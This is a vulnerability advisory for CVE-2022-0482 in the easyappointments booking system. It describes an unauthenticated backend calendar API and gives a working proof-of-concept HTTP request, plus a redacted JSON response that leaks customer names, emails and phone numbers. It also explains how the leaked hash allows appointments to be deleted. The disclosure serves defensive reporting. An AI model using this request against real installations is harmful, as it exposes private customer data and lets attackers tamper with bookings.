CVE-2022-0482: Exposure of Private Personal Information to an Unauthorized Actor in easyappointments

Description

The software is a booking management system that has a public form to place bookings, and a private area for the calendar and management of services, users, settings, etc…

There is a backend API that allows data manipulation, including listing the appointments for a specific time range.

This happens on this endpoint: /index.php/backend_api/ajax_get_calendar_events

Unfortunately, there is no authentication / permissions-check on that endpoint, the only required parameters in a POST request are "startDate", “endDate” and "csrfToken".

Because the csrfToken can be obtained by any unauthenticated user just visiting the public form (and is valid for the backend as well), any attacker can query the backend API and obtain all sorts of private information about the appointment, in JSON format.

Proof of Concept

REQUEST
POST /index.php/backend_api/ajax_get_calendar_events HTTP/2
Host: REDACTED
Cookie: csrfCookie= REDACTED
User-Agent: REDACTED
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
Origin: https://REDACTED
Referer: https://REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

csrfToken= REDACTED&startDate=2022-02-01&endDate=2022-02-01

RESPONSE
{
   "appointments":[
      {
         "id":"REDACTED",
         "book_datetime":"2022-01-28 17:26:21",
         "start_datetime":"2022-02-02 08:40:00",
         "end_datetime":"2022-02-02 08:47:00",
         "location":null,
         "notes":null,
         "hash":"REDACTED",
         "is_unavailable":"0",
         "id_users_provider":"REDACTED",
         "id_users_customer":"REDACTED",
         "id_services":"REDACTED",
         "id_google_calendar":null,
         "provider":{REDACTED},
         "service":{REDACTED},
         "customer":{
            "id":"REDACTED",
            "first_name":"REDACTED",
            "last_name":"REDACTED",
            "email":"REDACTED",
            "mobile_number":null,
            "phone_number":"REDACTED",
            "address":null,
            "city":null,
            "state":null,
            "zip_code":null,
            "notes":null,
            "timezone":"REDACTED",
            "language":"REDACTED",
            "id_roles":"REDACTED"
         }
      }
   ],
   "unavailability_events":[
      
   ]
}

Impact

A malicious attacker is able to access private information (name, email, phone, address, hashed password) for all the customers with active appointments in the system.

As the JSON response also contains the appointment hash, the attacker is able to delete appointments as well and compromise the integrity of the system using this enpoint: index.php/appointments/index/{hash}